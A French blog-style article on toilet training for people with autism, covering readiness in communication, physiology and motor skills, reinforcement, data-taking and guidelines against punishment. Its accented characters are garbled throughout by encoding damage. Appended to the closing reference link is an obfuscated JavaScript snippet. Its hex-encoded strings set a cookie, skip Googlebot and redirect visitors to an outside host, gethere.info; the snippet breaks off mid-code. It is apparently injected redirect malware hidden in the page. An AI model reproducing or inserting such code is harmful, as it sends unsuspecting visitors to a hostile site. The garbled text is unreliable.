Ce texte a Ai??tAi?? Ai??crit en sai??i??appuyant notamment sur le document en lien ci-dessous : Targeting the big Three – putting people first.

De nombreuses personnes avec autisme rencontrent des difficultAi??s lors de lai??i??apprentissage Ai?? aller aux toilettes. Cela peut A?tre en lien avec les difficultAi??s de ces personnes Ai?? communiquer, Ai?? avoir des interactions sociales, Ai?? leurs sensibilitAi??s particuliA?res ou Ai?? la difficultAi?? dai??i??accepter les changements. Cela peut-A?tre dAi?? Ai??galement Ai?? un enseignement incomplet, et des sources de renforcement plus ou moins prAi??sentes, Ai?? lai??i??attention que peut donner lai??i??entourage quand il y a des accidents.

Dans un premier temps, il est nAi??cessaire de prendre le temps de noter les comportements actuels de la personne concernant les toilettes : heures des visites aux toilettes ou accidents, activitAi??s en cours, personnes prAi??sentes, Ai??ventuelles routines autour des toilettesai??i?? Il est nAi??cessaire Ai??galement de faire le point sur les prAi??cAi??dentes tentatives (sai??i??il y en a) dai??i??enseigner cette compAi??tence (quai??i??est-ce qui a Ai??tAi?? fait et quels ont Ai??tAi?? les comportements de la personne?).

Enseigner Ai?? une personne Ai?? A?tre propre peut A?tre long, et il est important dai??i??en avoir conscience avant de mettre en place ce type de programme. Cela demande du temps, des lessives, nettoyer quand il y a des accidents, donc beaucoup de patience. Il est prAi??fAi??rable de commencer quand tout le monde est prA?t Ai?? le mettre en place, en privilAi??giant les saisons chaudes, pour que les vA?tements soient plus lAi??ger, moins nombreux et sA?chent plus vite. De plus, pour les plus petits, on peut les laisser en slip ou culotte, ce qui facilite les Ai??tapes dai??i??habillage/ dAi??shabillage en entrant et sortant des toilettes.

Cai??i??est un programme qui est plus facile Ai?? mettre en place auprA?s des plus jeunes. Plus la personne grandit, plus le programme risque dai??i??A?tre long.

Il sera nAi??cessaire dai??i??identifier les prAi??fAi??rences de la personne avant de mettre en place le programme. Nous devons avoir des renforAi??ateurs suffisamment puissants pour quai??i??elle aille aux toilettes spontanAi??ment.

Notre objectif est que la personne associe la sensation interne dai??i??envie dai??i??uriner ou de dAi??fAi??quer avec le fait dai??i??aller aux toilettes. Nous devons mettre en place une rAi??ponse spontanAi??e et Ai??viter de donner la consigne Ai??Ai??va aux toilettesAi??Ai?? qui ne permet pas dai??i??enseigner la bonne compAi??tence. Les enfants sans difficultAi??s particuliA?res trouvent leur propre motivation Ai?? aller aux toilettes (faire comme le grand frA?re, la cousine ou le copain, papa et maman qui sont contentsai??i??). Nos enfants avec autisme, les adolescents et adultes aussi, ne sont pas toujours sensibles Ai?? ces motivations et nous devons donc leur donner une motivation qui corresponde Ai?? leurs prAi??fAi??rences. Nous nai??i??enseignerons pas tout de suite Ai?? la personne Ai?? demander Ai?? aller aux toilettes. Nous Ai??vitons dai??i??enseigner deux choses en mA?me temps, cela serait trop coAi??teux pour la personne et risquerait de diminuer son engagement dans les comportements enseignAi??s.

Avant de commencer, il est important de sai??i??assurer quai??i??il nai??i??y a pas de problA?mes mAi??dicaux sous-jacents aux difficultAi??s Ai?? aller aux toilettes. Ensuite, on sai??i??assurera que la personne est prA?te Ai?? travers 3 domaines :

• les compAi??tences de langage et de communication
  • est-ce que la personne suit des consignes simples (Ai??Ai??assieds-toiAi??Ai??, Ai??Ai??lA?ve-toiAi??Ai??)
  • est-ce quai??i??elle communique verbalement ou par dai??i??autre moyens (signes, PECS)
• le dAi??veloppement physiologique
  • est-ce quai??i??elle a la capacitAi?? de contrA?ler ses sphincters, se retenir sur une courte pAi??riode ou jusquai??i??Ai?? aller aux toilettes
  • est-ce quai??i??elle a de longues pAi??riodes sans faire pipi
  • est-ce quai??i??elle montre des signes quand elle urine ou dAi??fA?que qui nous font comprendre quai??i??elle est en train de faire pipi ou caca?
• les compAi??tences motrices
  • est-ce que la personne peut monter et descendre son pantalon?
  • est-ce quai??i??elle peut se laver et sai??i??essuyer les mains?
  • est-ce quai??i??elle peut sai??i??assoir sur les toilettes et rester pour quelques secondes?

Il existe des programmes type pour enseigner cette compAi??tence, mais il doit toujours A?tre Ai??valuAi?? et ajuster en fonction des rAi??ussites ou non de la personne. Encore une fois, lai??i??individualisation est de rigueur.

Les Ai??lAi??ments du programme comprennent le fait dai??i??augmenter la quantitAi?? de boisson prise, de vAi??rifier rAi??guliA?rement si le pantalon est sec, dai??i??aller aux toilettes frAi??quemment afin de sai??i??entrainer, de renforcer les comportements appropriAi??s, de nettoyer aprA?s un accident.

Nous devons arranger les choses pour que ce soit plus facile, plus agrAi??able et plus renforAi??ant dai??i??aller aux toilettes que dai??i??avoir un accident. Cela doit A?tre rAi??flAi??chit en fonction de la personne et de son environnement.

Il sera nAi??cessaire de prendre des donnAi??es tout au long du programme afin de pouvoir rAi??ajuster en fonction des avancAi??es ou pas.

Les lignes directrices pour lai??i??apprentissage :

• essayer dai??i??avoir 3 jours devant vous pour commencer le programme, sinon profitez dai??i??un week-end
• rAi??server votre temps pour le programme uniquement
• retirer toutes distractions (tAi??lAi??vision, frA?res et soeurs, interruptionai??i??)
• utiliser le moyen de communication de la personne
• ne demander pas Ai?? la personne de sai??i??assoir sur les toilettes de trop longues pAi??riodes (5 Ai?? 10 minutes maximum).
• ignorer si la personne touche ses parties gAi??nitales. Ne commentez pas, ne donnez pas dai??i??attention. Redirigez la personne.
• une personne va aux toilettes 4 Ai?? 7 fois par jour pour uriner et 1 Ai?? 2 fois sur 3 jours pour dAi??fAi??quer. Cela varie cependant largement entre les individus
• pour les personnes prAi??sentant une Ai??pilepsie, ne donnez pas trop de boisson. Consultez un spAi??cialiste
• le programme doit A?tre le plus plaisant possible pour tout le monde. Pas de punition!
• la punition nai??i??enseigne rien et provoque des effets collatAi??raux.
• Utilisez les fAi??licitations pour tous les comportements appropriAi??s. Cela peut aider Ai?? motiver la personne.
• si possible, rendez les toilettes agrAi??ables pour que la personne prAi??fA?re A?tre dans les toilettes plutA?t que partout ailleurs dans la maison.

lien :

http://www.opwdd.ny.gov/sites/default/files/documents/Toilet_Training_Trainer_Manual.pdfvar _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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